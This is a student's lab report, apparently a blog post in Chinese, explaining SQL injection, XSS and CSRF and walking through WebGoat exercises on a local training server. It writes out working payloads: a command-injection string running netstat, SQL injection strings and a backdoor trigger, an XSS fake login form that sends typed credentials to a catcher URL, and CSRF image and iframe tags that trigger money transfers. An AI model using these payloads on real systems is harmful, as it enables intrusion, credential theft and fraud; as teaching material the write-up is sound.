2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

1.基础问题

  • SQL注入攻击原理,如何防御

    • 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同时程序本身也对输入语句没有过滤,导致SQL语句被执行。
    • 预防:
      • 对输入字符长度进行限制
      • 对输入数据进行关键字过滤,
      • 加密数据库
      • 在PHP配置中进行防范,如:Register_globals=off;拒绝在输入行进行注册;Safe_mode=on;开启安全模式
  • XSS攻击的原理,如何防御

    • 原理:XSS攻击(跨站脚本攻击),攻击方将程序代码注入到网页上,其他使用者在浏览网页时就会收到影响。主要目的是想办法获取目标攻击机的cookie。通常使用HTML以及用户端脚本语言。
    • 防御:
      • 对输入和URL参数进行过滤
      • 对输入进行敏感词过滤,如<>,""等
      • 当输出敏感数据时,进行严格检查
  • CSRF攻击原理,如何防御

    • 原理:CSRF攻击(跨站伪造请求),攻击者利用XSS的注入方法注入一段脚本,当受害者点击浏览器运行改脚本时,脚本伪造受害者发送一个合法请求。
    • 防御:
      • 验证请求中的token、referer或者添加随机验证
      • 设定cookie域:某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
      • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

2.实践过程

0.前期准备:

  • 安装jdk1.8,过程参考20165233的博客

  • 运行WebGoat java -jar webgoat-container-7.0.1-war-exec.jar

  • 当看到 Starting ProtocolHandler ["http-bio-8080"]这一条消息之后,即可开始后续的实验。

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,下方已经给出两组默认的用户名和密码,输入一组即可。

1.Command Injection命令注入

  • 右键点击复选框,选择inspect Element对网页的源代码进行修改,在末尾添加"& netstat -an & ipconfig"

  • 点击View,攻击成功

  • 与正常结果对比,可知网页执行了netstat -an命令并返回了结果

2.Numeric SQL Injection数字型注入

  • 右键单击复选框,查看代码,对value="101"进行修改,在城市101后添加or 1=1
  • 点击GO,攻击成功,可以看到所有城市的天气情况

3.Log Spoofing 日志欺骗

  • 利用换行符伪造一个假的日志消息,使得用户名是Admin的用户,在日志中能够登录成功
  • 在文本框中输入webgoat%0d%0aLogin Succeeded for username: admin显示admin登录成功

4.Stage 1:String SQL Injection 字符串型注入

  • 右击password框,查看网页代码,修改password的最大输入为20

  • 登录的用户选择Nevile ,password输入Smith' or 1=1 --

  • 攻击成功,显示所有人列表

5.Stage 3:Numeric SQL Injection 数字型SQL注入

  • 首先登录Larry 查看员工larry的信息

  • 在多行文本框中被选中的员工Larry Stooge(employee)上右键审查网页元素

  • 为了把老板排到第一个咱们应该在员工ID:101后面给他加上这么一些东西进行SQL注入排序,即:101 or 1=1 order by salary desc其中desc表示使用降序排列。

  • 再次点击ViewProfile,即可获取老板的信息

6.Database Backdoors 数据库后门

  • 首先输入101 查看这个用户的消息

  • 输入测试注入语句101; update employee set salary=10000查看到已经更新

  • 使用以下查询条件,添加触发器:

    101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid可以看到攻击成功

7. Phishing with XSS

  • 在搜索框输入XSS攻击代码

      </form>
    <script>
    function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 提交之后输入用户名和密码,可以看到被输入被获取

8. Reflected XSS

  • code框输入<script>alert("20165205");</script>
  • 点击purchase,则会弹出窗口,内容是括号里的串

9.Stored XSS Attacks

  • massage部分插入jsp代码,代码会被浏览器解析成html的内容
  • message窗口输入<script>alert("liuzjejun");</script>则会弹出窗口,说明攻击成功

10.Cross Site Request Forgery

  • 查看自己电脑的Screen和menu的值

  • message内容为<img src="http://localhost:8080/WebGoat/attack?Screen=321&menu=900&transferFunds=5000"/>

  • 提交后,会在消息列表中看到一个新的消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。

11.CSRF Prompt By-Pass

  • 利用CSRF进行冒名操作转账,不过这次包括了转账请求和确认转账成功请求,即需要额外传递两个参数给服务器

  • 在message框输入<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>

  • 提交后显示攻击成功

遇到的问题

  • 刚开始打开webgoat时左侧栏只显示一项,查了jdk,查到了openjdk,但这个不是我们要用的jdk,之后下载安装了jdk1.8,解决了问题

2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  3. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  4. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  5. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  6. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  7. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  8. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  9. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. mybatis 插入语句 返回自增长id方法

    背景:目前有个插入语句需要获取插入记录的id  因为id是自增长的,所以要在插入后返回这个id 错误1: mapper.xml: <!-- 新增 返回自增长id--> <insert ...

  2. LeetCode 腾讯精选50题--数组中的第K个最大元素

    好吧,不得不承认,书上看到的始终不是自己的,只有亲身时间过才会明白该怎么操作. 找数组中第K个最大元素,简而言之就是先排序,不论使用哪种算法,都需要先排序,确认位置,由于数组可以通过下标直接访问,所以 ...

  3. HttpClient的GET请求(post)请求

    一.不带参数的GET请求 // 创建Httpclient对象 CloseableHttpClient httpclient = HttpClients.createDefault(); // 创建ht ...

  4. Swift 函数式数据结构 - 链表

    本文将使用Swift实现一个标准链表,在实现的过程中,遵守函数式编程的规则,无副作用,可以看到和C语言的实现还是有较大的差异. 预备知识 enum 的各种用法 swift的基本的模式匹配( patte ...

  5. kali工具的总结

    由于篇幅有限,只列举部分,ps:第一次发有什么不对的 还望各位大大指正 nc 瑞士军刀 [v1.10-41] 使用格式: nc [-参数] 主机名 端口[s] [端口] … 侦听入站: nc -l - ...

  6. js常用骚操作总结

    打开网址 window.open("http://www.runoob.com"); 判断是否为url var url = $("#url").val(); i ...

  7. LeetCode01 - 两数之和(Java 实现)

    LeetCode01 - 两数之和(Java 实现) 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/two-sum 题目描述 给定一个整数数组 ...

  8. Web Api(4)

    参考原文链接https://www.cnblogs.com/JamelAr/,本文大部分内容是根据这位博主进行实验测试的,非常感谢分享,另外也参考了https://www.cnblogs.com/vi ...

  9. UVa10615 Andy's First Dictionary(集合set)

    这道题主要用到了set容器和stringstream,用起来非常方便,我第一次见识到,觉得十分的炫酷…… 而且,竟然可以将自己写的单词按照字典序排列,真的太酷了. 下面是书上的代码,目前还处于初学状态 ...

  10. BZOJ1821 部落划分[最小生成树]

    方法一:套路性的,二分距离,然后把距离点对距离小于答案的边都联通起来,然后看集合数量超过k说明答案小,增大,否则减小. 方法二:贪心,类kruskal.n个点,k个连通块,则需要有效连接(同一个块内的 ...